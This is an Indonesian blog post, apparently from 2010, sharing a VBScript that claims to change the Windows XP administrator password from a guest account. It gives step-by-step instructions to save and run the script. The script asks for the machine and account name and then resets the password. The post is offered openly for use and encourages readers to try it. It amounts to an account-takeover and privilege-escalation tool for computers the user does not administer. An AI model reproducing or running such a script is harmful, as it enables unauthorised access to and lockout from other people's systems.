2010 Script bwt ubah password admin windows xp lewat guest

Saya punya scrip bwt ubah passwd admin windows xp lewat guest, tapi hanya untuk beberapa windows saja tidak untuk semua windows. yah siapa tahu saja berhasil..!
copy tulisan ini ke notepad, trus save as dengan extensi .vbs
(gantipswd.vbs) untuk menjalankannya tinggal klik 2kali hasil save nya…
ganti()
sub ganti()
dim namapengguna
dim namakom
namakom=InputBox(“Masukkan Nama Komputer: klik ‘my Computer’ propertis, tab ‘computer name’, copy ‘full computer name’ :”,”Aplikasi ganti (1/3)”)
namapengguna=InputBox(“Masukkan Nama Pengguna: biasanya ‘administrator’”,”Aplikasi ganti (2/3)”)
Set pengguna=GetObject(“WinNT://”&namakom&”/”&namapengguna&”",pengguna)
Dim passwordbaru
passwordbaru=InputBox(“Masukkan Password Baru:”,”Aplikasi ganti (3/3)”)
Call pengguna.SetPassword(passwordbaru)
If err.number=0 then
MsgBox “Password SUKSES Di ubah !!!”,VbInformation,”Aplikasi ganti (selesai)”
else
MsgBox “Password GAGAL Di ubah”,VbInformation,”Aplikasi ganti (gagal) ”
end if
end sub
—-
okeh selamat men-cuba,
hehehe